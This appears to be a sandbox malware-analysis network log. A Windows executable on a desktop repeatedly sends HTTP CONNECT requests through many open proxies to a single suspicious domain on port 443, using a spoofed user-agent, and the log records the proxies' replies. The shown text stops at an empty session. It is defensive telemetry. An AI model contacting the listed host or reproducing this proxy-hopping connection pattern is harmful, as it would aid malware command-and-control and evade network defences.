Mar 11, 2024 15:21:05.932630062 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
890	192.168.2.9	52968	172.67.181.103	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.784276962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.938416004 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
891	192.168.2.9	52830	66.228.33.190	7841	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.787650108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.325371027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.138077021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.638176918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.325927019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.137873888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.825402021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.137959957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:32.825057983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
892	192.168.2.9	52843	129.213.150.205	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.795248032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
893	192.168.2.9	52462	202.40.181.220	31247	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.804771900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
894	192.168.2.9	52770	222.138.76.6	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.822973967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.834212065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.357564926 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
895	192.168.2.9	51132	69.167.169.46	12903	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.824069023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
896	192.168.2.9	52998	45.12.31.140	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.834208012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.988579035 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
897	192.168.2.9	52826	20.37.207.8	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.838907003 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:06.152177095 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
898	192.168.2.9	53014	172.67.182.90	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.851794004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.006134987 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
899	192.168.2.9	51075	104.251.212.206	6106	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.852188110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.934493065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.935050011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.936014891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:30.038126945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:42.138305902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:54.237989902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
900	192.168.2.9	53018	172.67.53.215	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.852559090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.006974936 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
901	192.168.2.9	53005	192.154.244.92	9000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.853846073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
902	192.168.2.9	52261	58.253.210.122	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.886322975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
903	192.168.2.9	52984	66.45.246.194	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.899736881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
904	192.168.2.9	52851	20.111.54.16	8123	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.899781942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.193200111 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
905	192.168.2.9	52996	148.72.23.56	36111	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.900266886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
906	192.168.2.9	52894	203.222.24.36	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.902544975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
907	192.168.2.9	52840	173.212.240.168	46664	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.904405117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.637824059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.638246059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
908	192.168.2.9	51098	109.238.12.156	28618	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.906074047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.996850967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.091124058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.091124058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:30.090939999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:42.090671062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:54.090620041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:18.090596914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:06.098669052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
909	192.168.2.9	52555	188.166.28.88	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.911938906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.996822119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.091110945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.092127085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
910	192.168.2.9	52869	18.228.198.164	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
